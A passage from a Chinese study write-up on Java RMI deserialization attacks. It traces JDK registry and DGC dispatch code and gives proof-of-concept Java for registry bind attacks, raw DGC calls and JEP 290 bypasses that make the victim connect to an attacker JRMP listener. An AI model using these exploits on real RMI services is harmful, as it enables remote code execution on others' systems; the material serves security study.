RMI攻击学习
RMI攻击学习
主要根据这篇复习的https://xz.aliyun.com/t/7930,中间加了些自己的思考和补充。
代码地址:https://github.com/lalajun/RMIDeserialize
RMI客户端反序列化攻击RMI服务端
RMI服务端反序列化攻击RMI注册端
IDEA 中起 jdk1.7 的 ServerAndRegister,看一下 sun.rmi.registry.RegistryImpl_Skel#dispatch,直接查不到,需要起一个 debug 模式的 ServerAndRegister
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { //一处接口hash验证 if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { //设定变量开始处理请求 //var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法 RegistryImpl var6 = (RegistryImpl)var1; //接受客户端输入流的参数变量 String var7; Remote var8; ObjectInput var10; ObjectInput var11; //var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的 //比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句 //super.ref.newCall(this, operations, 0, 4905912898345647071L); switch(var3) { //统一删除了try等语句 case 0: //bind(String,Remote)分支 var11 = var2.getInputStream(); //1.反序列化触发处 var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); var6.bind(var7, var8); case 1: //list()分支 var2.releaseInputStream(); String[] var97 = var6.list(); ObjectOutput var98 = var2.getResultStream(true); var98.writeObject(var97); case 2: //lookup(String)分支 var10 = var2.getInputStream(); //2.反序列化触发处 var7 = (String)var10.readObject(); var8 = var6.lookup(var7); case 3: //rebind(String,Remote)分支 var11 = var2.getInputStream(); //3.反序列化触发处 var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); var6.rebind(var7, var8); case 4: //unbind(String)分支 var10 = var2.getInputStream(); //4.反序列化触发处 var7 = (String)var10.readObject(); var6.unbind(var7); default: throw new UnmarshalException("invalid method number"); } } }
从这里看到有 4 个分支可以触发反序列化,分为了两种情况
- lookup & unbind (String类型)
- bind & rebind (Remote 和 String)
有些文章在这里的分析有问题,实际上 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。
看一下 BaRMie 的对应嗅探模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint
Registry reg; //Execute a dummy attack try { //1.新建一个RMI代理服务器,在这个代理服务器中会对输出的数据包进行重新构造 proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload); proxy.startProxy(); //2.获取这个RMI对象,调用其bind方法 reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); reg.bind(this.generateRandomString(), new BaRMIeBindExploit()); } catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) { //3.重构客户端输出的数据包,改变其内容为预设好的一个Object if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) { //4.服务端肯定会报错(由于我们预设的Object不会被正确解析执行),根据服务端返回报错栈,去匹配是否有filter status: REJECTED字符串来判断,对方的JDK版本我们是否可以攻击。 if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) { //Test payload was filtered, likely this attack isn't possible return false; } } } finally { //Stop the proxy if(proxy != null) { proxy.stopProxy(true); } } //如果没有匹配到就说明可以攻击。 return true; }
攻击模块nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack
:
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { RMIBindExploitProxy proxy = null;//代理器 Registry reg; //已删去try部分 //1.初始化一个bind RMI注册端代理器 //我们的payload从这里给入 proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0)); proxy.startProxy(); //2.从RMI注册端代理器获取一个注册端对象 reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); //3.通过RMI注册端代理器调用bind,修改参数为给定的payload //reg.bind(随机字符串,一个接口需要的Remote接口) //但是经过注册端代理器之后,这里的参数会被改为:bind(PAYLOAD, null),没错payload是String的位置 reg.bind(this.generateRandomString(), new BaRMIeBindExploit()); } private static class BaRMIeBindExploit implements Remote, Serializable { }
具体的实现 nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData
public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { ByteArrayOutputStream out; int blockLen; byte[] dataBytes; //获取输入的长度 dataBytes = data.toByteArray(); //判断这个输入包是不是一个RMI调用包,如果是的话进行修改 if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) { //调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度 blockLen = (int)(dataBytes[6] & 0xff); //自己构建一个新的字节流,以原来包的长度和TC_BLOCKDATA标签开头 out = new ByteArrayOutputStream(); out.write(dataBytes, 0, blockLen + 7); //在后面写入我们给定的payload out.write(this._payload, 0, this._payload.length); //最后给一个NULL标签(作为bind方法的第二个参数) out.write((byte)0x70); //把新的数据包发送给服务端 return out; } else { //不是RMI调用的数据包就直接发送 return data; } }
这里的 payload 是放在了第一个参数中(String),而 ysoserial 的 RMIRegisterExpolit 模块是把 payload 放在了第二个参数中(Remote)。
翻一下 ysoserial.exploit.RMIRegistryExploit#exploit
public static void exploit(final Registry registry, final Class extends ObjectPayload> payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable
(){public Void call() throws Exception { //获取payload ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); //将payload封装成Map //然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理 //变为Remote类型 Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { //封装的remote类型,通过RMI客户端的正常接口发出去 registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; }}); } }
使用了动态代理(createMemoitizedProxy),代理之后实现 Remote 接口的绑定代理的对象的任意方法,都会前往sun.reflect.annotation.AnnotationInvocationHandler
的invoke方法执行。
public static
T createMemoitizedProxy ( final Map map, final Class iface, final Class>... ifaces ) throws Exception { //Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。 //iface是被动态代理的接口 return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } //这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象 //传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量 public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } //正式开始绑定代理动态代理 //ih 拦截器 //iface 需要被代理的类 //ifaces 这里没有 public static T createProxy ( final InvocationHandler ih, final Class iface, final Class>... ifaces ) { final Class>[] allIfaces = (Class>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } //上面整合了一下需要代理的接口到allIfaces里面 //然后Proxy.newProxyInstance,完成allIfaces到ih的绑定 //(Gadgets.class.getClassLoader()就是获取了一个加载器,不用太管) //iface.cast是将获取的绑定结果对象转变为iface(即Remote)的对象类型 return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); }
现在就满足了 registry.bind(name, remote) 中第二个参数为 Remote 的要求了。
动态代理在反序列化的作用就是执行一个拦截器的 invoke 方法(比如 AnnotationInvocationHandler 的 invoke 调用了 get,正好能补全反序列化的链子)。
但在这里用动态代理只是为了把 payload 放到 AnnotationInvocationHandler 里面,然后把 AnnotationInvocationHandler 包装成任意类接口。
这里原文作者尝试不利用动态代理,而是自己实现一个 remote 接口的类再放入 payload,效果是一样的。
//加个Remote接口的类,要支持序列化 private static class BindExploit implements Remote, Serializable { //弄个地方放payload private final Object memberValues; private BindExploit(Object payload) { memberValues = payload; } } public static void exploit(final Registry registry, final Class extends ObjectPayload> payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable
(){public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); //yso动态代理包装 //Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); //自己包装 Remote remote_lala = new BindExploit(payload); try { //registry.bind(name, remote); //自己包装 registry.bind(name, remote_lala); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; }}); } 修复后的绕过
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
private static Status registryFilter(FilterInfo var0) { //这里registryFilter为空跳过该判断 if (registryFilter != null) { Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } } //不允许输入流的递归层数超过20层,超过就报错 if (var0.depth() > 20L) { return Status.REJECTED; } else { //获取输入流序列化class类型到var2 Class var2 = var0.serialClass(); //判断是否为null,null就报错 if (var2 == null) { return Status.UNDECIDED; } else { //判断是否为数组类型 if (var2.isArray()) { //数组长度大于10000就报错 if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) { return Status.REJECTED; } //获取到数组中的成分类,假如是还是数组嵌套,继续获取 do { var2 = var2.getComponentType(); } while(var2.isArray()); } //判断是不是JAVA基元类型,就是 绕过Object类型参数 小章中的那些基本类 //是基本类就允许 if (var2.isPrimitive()) { return Status.ALLOWED; } else { //判断我们的输入的序列化类型是否为以下的几类class白名单之中 //如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED //不然就返回REJECTED报错。 return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } } } }
经过递归检测,AnnotationInvocationHandler 被拦下来了。关于地址校验
RMI 攻击中的攻击者(服务端)不是受害者(注册端)信任的地址,但却没用被拦截。
原因是因为 注册端对于服务端的验证在反序列化操作之后。
在 8u141之后,验证逻辑变成了先验证再反序列化,服务端调用 bind 打注册端的原打法直接G了,但是 lookup 打注册端不需要验证不受影响(单从代码逻辑上)。RMI DGC层反序列化(其实是 JRMP 层的原理)
DGC 用于维护服务端被客户端使用的远程引用(垃圾回收机制),来控制这个引用被继续使用还是清除。
用 yso 的 JRMP 打
跟进 sun.rmi.transport.DGCImpl_Skel#dispatch
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { //一样是一个dispatch用于分发作用的方法 //固定接口hash校验 if (var4 != -669196253586618813L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { DGCImpl var6 = (DGCImpl)var1; ObjID[] var7; long var8; //判断dirty和clean分支流 switch(var3) { //clean分支流 case 0: VMID var39; boolean var40; try { //从客户端提供的输入流取值 ObjectInput var14 = var2.getInputStream(); //对于取值进行反序列化,***漏洞触发点*** var7 = (ObjID[])var14.readObject(); var8 = var14.readLong(); var39 = (VMID)var14.readObject(); var40 = var14.readBoolean(); } catch (IOException var36) { throw new UnmarshalException("error unmarshalling arguments", var36); } catch (ClassNotFoundException var37) { throw new UnmarshalException("error unmarshalling arguments", var37); } finally { var2.releaseInputStream(); } //进行clean操作,已经完成了攻击,之后操作已经不重要了。 var6.clean(var7, var8, var39, var40); //..省略部分无关操作 //dirty方法分支流,跟clean在漏洞触发点上是一样没差的 case 1: Lease var10; try { //从客户端提供的输入流取值 ObjectInput var13 = var2.getInputStream(); //对于取值进行反序列化,***漏洞触发点*** var7 = (ObjID[])var13.readObject(); var8 = var13.readLong(); var10 = (Lease)var13.readObject(); } catch (IOException var32) { throw new UnmarshalException("error unmarshalling arguments", var32); } catch (ClassNotFoundException var33) { throw new UnmarshalException("error unmarshalling arguments", var33); } finally { var2.releaseInputStream(); } Lease var11 = var6.dirty(var7, var8, var10); //..省略无关操作 default: throw new UnmarshalException("invalid method number"); } }
找到了漏洞触发点,下一步就是找这个触发点时如何被调用的,传入的哪些参数。
调试中会生成 sun.rmi.transport.DGCImpl_Stub#dirty
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { try { //开启了一个连接,似曾相识的 669196253586618813L 在服务端也有 RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L); try { //获取连接的输入流 ObjectOutput var6 = var5.getOutputStream(); //写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[] //***这里就是我们payload写入的地方*** var6.writeObject(var1); //------ var6.writeLong(var2); var6.writeObject(var4); } catch (IOException var20) { throw new MarshalException("error marshalling arguments", var20); } super.ref.invoke(var5); Lease var24; try { ObjectInput var9 = var5.getInputStream(); var24 = (Lease)var9.readObject(); //省略大量错误处理.. }
这就是DGC客户端该放payload的地方了。
针对这种很底层的 payload,从顶层开始一步一步操作的过程中很可能会发生变化,所以这种情况下的 poc 通常使用自实现一个客户端去拼接反序列化包。
Ysoserial 的 JRMP-Client 的实现:
//传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。 public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { InetSocketAddress isa = new InetSocketAddress(hostname, port); Socket s = null; DataOutputStream dos = null; try { //建立一个socket通道,并为赋值 s = SocketFactory.getDefault().createSocket(hostname, port); s.setKeepAlive(true); s.setTcpNoDelay(true); //读取socket通道的数据流 OutputStream os = s.getOutputStream(); dos = new DataOutputStream(os); //*******开始拼接数据流********* //以下均为特定协议格式常量,之后会说到这些数据是怎么来的 //传输魔术字符:0x4a524d49(代表协议) dos.writeInt(TransportConstants.Magic); //传输协议版本号:2(就是版本号) dos.writeShort(TransportConstants.Version); //传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认) dos.writeByte(TransportConstants.SingleOpProtocol); //传输指令-RMI call:0x50 dos.write(TransportConstants.Call); @SuppressWarnings ( "resource" ) final ObjectOutputStream objOut = new MarshalOutputStream(dos); //DGC的固定读取格式,等会具体分析 objOut.writeLong(2); // DGC objOut.writeInt(0); objOut.writeLong(0); objOut.writeShort(0); //选取DGC服务端的分支选dirty objOut.writeInt(1); // dirty //然后一个固定的hash值 objOut.writeLong(-669196253586618813L); //我们的反序列化触发点 objOut.writeObject(payloadObject); os.flush(); } }
详见。。。算了不见就不见了吧
这个问题同样在 sun.rmi.transport.DGCImpl#checkInput 被过滤了。JRMP 服务端打 JRMP 客户端
在 DGC 反序列化的中的 dirty 里,通过 super.ref.invoke(var5) 进入到了 sun.rmi.server.UnicastRef#invoke,
public void invoke(RemoteCall call) throws Exception { try { //写个日志,不管 clientRefLog.log(Log.VERBOSE, "execute call"); //跟进此处 call.executeCall(); //...省略一堆报错处理
而在 invoke 中又会进入 sun.rmi.transport.StreamRemoteCall#executeCall
public void executeCall() throws Exception { byte returnType; // read result header DGCAckHandler ackHandler = null; try { //...这里发包和接受返回状态returnType和返回包数据流in returnType = in.readByte(); //1. 反序列化一个returnType in.readID(); // 2. 反序列化一个id for DGC acknowledgement //具体细节比较复杂不看了 } catch (UnmarshalException e) { //..略.. } // 处理returnType返回状态 switch (returnType) { //这是常量1 case TransportConstants.NormalReturn: break; //这是常量2 case TransportConstants.ExceptionalReturn: Object ex; try { //3. 从服务端返回数据流in中读取,并反序列化 //***漏洞触发点*** ex = in.readObject(); //省略之后代码
这时客户端的反序列化点就找到了,在 yso 中用了 DGC 反序列化生成 poc 的技巧,即模拟一个服务端,把报错信息改成 payload,但还是要找一下原生服务端写序列化的位置。
要触发反序列化必须满足 returnType 为 TransportConstants.ExceptionalReturn ,可以找到
sun.rmi.transport.StreamRemoteCall#getResultStream
public ObjectOutput getResultStream(boolean success) throws IOException { if (resultStarted) throw new StreamCorruptedException("result already in progress"); else resultStarted = true; DataOutputStream wr = new DataOutputStream(conn.getOutputStream()); wr.writeByte(TransportConstants.Return); getOutputStream(true); //success为false,进入我们的分支 if (success) out.writeByte(TransportConstants.NormalReturn); else //*******这里第一个序列化returnType******* out.writeByte(TransportConstants.ExceptionalReturn); //第二个序列化一个ID out.writeID(); // write id for gcAck return out; }
然后查找一下调用过 getResultStream 的地方,比如 sun.rmi.server.UnicastServerRef#dispatch
//这里出来 ObjectOutput out = call.getResultStream(false); if (e instanceof Error) { e = new ServerError( "Error occurred in server thread", (Error) e); } else if (e instanceof RemoteException) { e = new ServerException( "RemoteException occurred in server thread", (Exception) e); } if (suppressStackTraces) { clearStackTraces(e); } //第三处序列化:序列化写入报错信息,也就是payload插入处 out.writeObject(e);
但是在 writeObject 中写入的是报错信息(不是我们能完全控制的部分),因此直接从服务端构造是不行的。
JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制
因为 JEP290默认在RMI Register 层 和 DGC 层有过滤器,而 JRMP 是他们的底层,没 有 过 滤!
攻击流程:
- RMI 注册端(JRMP 客户端)主动连接我们的 JRMP 服务端(白名单不作用在序列化过程)
- 恶意的 JRMP 客户端在报错信息处写入 payload,序列化后发给 RMI 注册端(JRMP 客户端)
- RMI 注册端(JRMP 客户端)底层不存在白名单,可以执行 payload。
原本是目标直接对 bind 攻击,改为让 RMI 注册段 向我们指定的 JRMP 服务端发起请求,而且完成这一操作使用的对象必须都在白名单中,然后把它封装到 register.bind(String,Remote) 中。
从 bind 连接开始看
try { var9 = var2.getInputStream();//var2是我们的输入流 var7 = (String)var9.readObject();//略过 //payload在这,在readobject中递归调用属性,进入UnicastRef#readExternal //在其中完成了ref的填装 var80 = (Remote)var9.readObject(); } catch (ClassNotFoundException | IOException var77) { throw new UnmarshalException("error unmarshalling arguments", var77); } finally { //在这里处理ref的时候才真正完成了触发 var2.releaseInputStream(); }
一直跟到 stream.saveRef(ref) 中,数据放到 incomingRefTable 中。
然后执行 var2.releaseInputStream(),在中解析 readObject 中incomingRefTable的数据。
void registerRefs() throws IOException { if (!this.incomingRefTable.isEmpty()) { //遍历incomingRefTable Iterator var1 = this.incomingRefTable.entrySet().iterator(); while(var1.hasNext()) { Entry var2 = (Entry)var1.next(); //开始一个个去DGC注册 DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue()); } } }
进到 sun.rmi.transport.DGCClient#registerRefs 中并执行 sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
public boolean registerRefs(List
refs) { assert !Thread.holdsLock(this); Set refsToDirty = null; // entries for refs needing dirty long sequenceNum; // sequence number for dirty call //阻塞执行,去遍历查询LiveRef实例 synchronized (this) { //省略此处代码,就是做遍历查询的事情 } //为所有结果参与DGC垃圾回收机制注册 //------进入此处------ makeDirtyCall(refsToDirty, sequenceNum); return true; }
进到 sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall 中,然后进到 dirty 请求中,需要 ctrl+alt+B
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { try { RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L); try { ObjectOutput var6 = var5.getOutputStream(); var6.writeObject(var1); var6.writeLong(var2); var6.writeObject(var4); } catch (IOException var20) { throw new MarshalException("error marshalling arguments", var20); } //JRMP服务端打JRMP客户端的反序列化触发点在这里面 super.ref.invoke(var5);
回到了本节的第一句话,那么就是说如果用 UnicastRef对象的readExternal方法作为反序列化入口的话,可以控制反序列化内容通过 dirty 向指定服务端发起 JRMP 连接。
下一步就是构造 payload 的,首先要明确目标:把 UncicastRef 对象封装进入 register.bind(String,Remote) 的 Remote 中,将 UnicastRef 对象反序列化(因为在bind 的 Remote 中有递归反序列化的操作),然后选择的问题就是如何将 UnicastRef 对象封装成 Remote 类型。
UnicastRef 对象:
//让受害者主动去连接的攻击者的JRMPlister的host和port public static UnicastRef generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); }
三种思路:
- 不封装,参考 BaRMie,直接发送 UnicastRef。
- 参考 yso,用动态代理封装(封装拦截器),但 AnnotationInvocationHandler 被ban了。
- 找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进
register.bind(String,Remote)
中。
动态代理的方式
自定义拦截器 -> UnicasstRef 放入 PocHandler 拦截器 -> 转变为 Remote 类型
public static class PocHandler implements InvocationHandler, Serializable { private RemoteRef ref;//来放我们的UnicastRef对象 protected PocHandler(RemoteRef newref) {//构造方法,来引入UnicastRef ref = newref; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return this.ref //只是为了满足拦截类的格式,随便写 } } public static void main(String[] args) throws Exception{ String jrmpListenerHost = "127.0.0.1"; int jrmpListenerPort = 1199; UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class>[]{Remote.class}, new PocHandler(unicastRef)); Registry registry = LocateRegistry.getRegistry(1099);//本地测试 registry.bind("2333", remote); }
或者不用自定义,用 RemoteObjectInvocationHandler(yso的实现逻辑)
public class RemoteObjectInvocationHandler extends RemoteObject implements InvocationHandler //表示是一个拦截器 { //构造函数,传入一个RemoteRef接口类型的变量 public RemoteObjectInvocationHandler(RemoteRef ref) { super(ref); if (ref == null) { throw new NullPointerException(); } } //而UnicastRef类型实现RemoteRef接口,即可以传入 //public class UnicastRef implements RemoteRef { public abstract class RemoteObject implements Remote, java.io.Serializable { /** The object's remote reference. */ transient protected RemoteRef ref; //super(ref)的内容,可以成功塞入变量中 protected RemoteObject(RemoteRef newref) { ref = newref; }
插曲:transient 修饰的变量在正常序列化过程中会为空,但这里却还是能成功,原因是这里的 RemoteObject 类对 writeobject、readobject 进行了重写,就会进入这个方法进行特殊的逻辑执行。
private void writeObject(java.io.ObjectOutputStream out) throws java.io.IOException, java.lang.ClassNotFoundException { if (ref == null) { throw new java.rmi.MarshalException("Invalid remote object"); } else { String refClassName = ref.getRefClass(out); if (refClassName == null || refClassName.length() == 0) { //不会进入的地方.... } else { /* * Built-in reference class specified, so delegate * to reference to write out its external form. */ //我们的序列化操作会进入到这里对于ref进行序列化 out.writeUTF(refClassName); ref.writeExternal(out); //在这里通过writeExternal来写入了ref //(transient类型的变量可以通过writeExternal来写入序列化) } } }
在 RemoteObjectInvocationHandler 填入一个 UnicastRef 对象,然后就是利用动态代理进行类型转变了。
public class Bypass290 { //省略generateUnicastRef方法 public static void main(String[] args) throws Exception{ //获取UnicastRef对象 String jrmpListenerHost = "127.0.0.1";//本地测试 int jrmpListenerPort = 1199; UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); //通过构造函数封装进入RemoteObjectInvocationHandler RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类 //所以接下来bind可以填入proxy Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(), new Class[]{Registry.class}, obj); //触发漏洞 Registry registry = LocateRegistry.getRegistry(1099);//本地测试 registry.bind("hello", proxy);//填入payload } }
找一个带 UnicastRef 类型参数的 Remote 接口的类
RemoteObjectInvocationHandler 就是,继承自 RemoteObject ,而 RemoteObject 又继承自 Remote,所以上面的 poc 把动态代理注释了也能打
public static void main(String[] args) throws Exception{ //获取UnicastRef对象 String jrmpListenerHost = "127.0.0.1";//本地测试 int jrmpListenerPort = 1199; UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); //通过构造函数封装进入RemoteObjectInvocationHandler RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类 //所以接下来bind可以填入proxy 注释 // Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(), // new Class[]{Registry.class}, obj); //触发漏洞 Registry registry = LocateRegistry.getRegistry(1099);//本地测试 // registry.bind("hello", proxy);//填入payload registry.bind("hello", obj);//填入payload }
同样的道理,那么继承了 RemoteObjectInvocationHandler 类也可以拿来利用。
RMIConnectionImpl_Stub 可以用
- 是 Remote 接口
//RMIConnectionImpl_Stub类定义,继承自RemoteStub类 public final class RMIConnectionImpl_Stub extends java.rmi.server.RemoteStub implements javax.management.remote.rmi.RMIConnection{ //java.rmi.server.RemoteStub 定义,继承自RemoteObject类 abstract public class RemoteStub extends RemoteObject { //RemoteObject定义,实现Remote接口 public abstract class RemoteObject implements Remote, java.io.Serializable {
- 构造方法可以放 UnicastRef
//javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法 public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) { super(ref); } //java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法 protected RemoteStub(RemoteRef ref) { super(ref); } //java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法 protected RemoteObject(RemoteRef newref) { ref = newref; }
- 是 Remote 接口
- UnicastRemoteObject 不行
原因是客户端 bind 中的反序列化流程是
ObjectOutput var4 = var3.getOutputStream(); var4.writeObject(var1); var4.writeObject(var2);
跟进 java.io.ObjectOutputStream#writeObject0 中,发现触发了 replaceObject 方法
private void writeObject0(Object obj, boolean unshared) throws IOException { boolean oldMode = bout.setBlockDataMode(false); depth++; try { //一大堆类型检查,都不会通过 // 想要去检查替换我们的object Object orig = obj; Class> cl = obj.getClass(); ObjectStreamClass desc; for (;;) { //查找相关内容 } if (enableReplace) {//都是true //!!!!!!!!!!!此处替换了我们的对象!!!!!!!!!! Object rep = replaceObject(obj); if (rep != obj && rep != null) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true); } obj = rep; } //一些替换后的处理,不太重要 // 通过类进行分配序列化过程 if (obj instanceof String) { writeString((String) obj, unshared); } else if (cl.isArray()) { writeArray(obj, desc, unshared); } else if (obj instanceof Enum) { writeEnum((Enum>) obj, desc, unshared); } else if (obj instanceof Serializable) { //进入此处再开始正常的序列化 writeOrdinaryObject(obj, desc, unshared); //...省略... }
然后跟进到 sun.rmi.server.MarshalOutputStream#replaceObject 中
//var1就是我们想要序列化的类 protected final Object replaceObject(Object var1) throws IOException { //这个类要是Remote接口的,并且不是RemoteStub接口的,为true if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) { //这里会去获取到新的对象来替换 //UnicastRemoteObject走的就是这条路 Target var2 = ObjectTable.getTarget((Remote)var1); if (var2 != null) { return var2.getStub(); } } //RMIConnectionImpl_Stub走的就是这条路 return var1; }
所以可用类的条件应该是:
- 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
- 这个类要是Remote接口的并且是RemoteStub接口
- 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以,比如RemoteInvocationHandler(置 null,相当于没换)
但这种限制是可用绕过的,方法就是通过反射修改 enableReplace 属性,不走对应分支就好了。
java.io.ObjectOutput out = call.getOutputStream(); //反射修改enableReplace ReflectionHelper.setFieldValue(out, "enableReplace", false); out.writeObject(obj); // 写入我们的对象
截止到现在,8u121 带来的白名单限制问题就算是绕过了,但 8u141的堆服务端地址的验证如果使用 bind 的话是不行的。
与Lookup结合
这里直接做了上层的 lookup 的重写
//多加了个registry参数,然后自己实现部分固定值的获取 public static Remote lookup(Registry registry, Object obj) throws Exception { RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref"); long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash"); java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations"); try { ....//之后就跟原来的lookup一样了 //同时这里我还加入了绕过enableReplace,使UnicastRemoteObject可用
修复
在 8u231 后做了两处修复。
把
discardPedingRefs
中的 incomingRefTable 清空了
public void discardPendingRefs() { this.in.discardRefs();//去下面 } //sun.rmi.transport.ConnectionInputStream#discardRefs void discardRefs() { this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref }
因为当 bind ,lookup 这些方法出现错误的时候会进到 discardPedingRefs 中,那么之后在 sun.rmi.transport.ConnectionInputStream#registerRefs 中也解析不出上面东西了,我们装载的 ref 就被 kill 了。
那现在的问题是是不是之前的 payload 都会报错。
- 自定义类:后续反序列化中找不到它,报错
- 转换接口:var8 = (String)var9.readObject(); 进行类型转换的时候报错
嗯,都被 kill 了。在 sun.rmi.transport.DGCImpl_Stub#dirty 提前了白名单
能发起 JRMP 请求,但执行命令的部分会被 ban 掉。
另一种绕过JEP290的思路(An Trinh)
后半段思路没变,在 RMI 服务端发起 JRMP 请求这部分加了新活。
之前绕过的核心思想:
- readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
- 在readobejct反序列化的过程中填装UnicastRef类到
incomingRefTable
- 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求
这里的新思路不是在 readObject 递归的过程中触发我们的类,而是在 readObject 调用的时候直接发起请求。
- readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到
incomingRefTable
- 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
- 在releaseInputStream语句中从
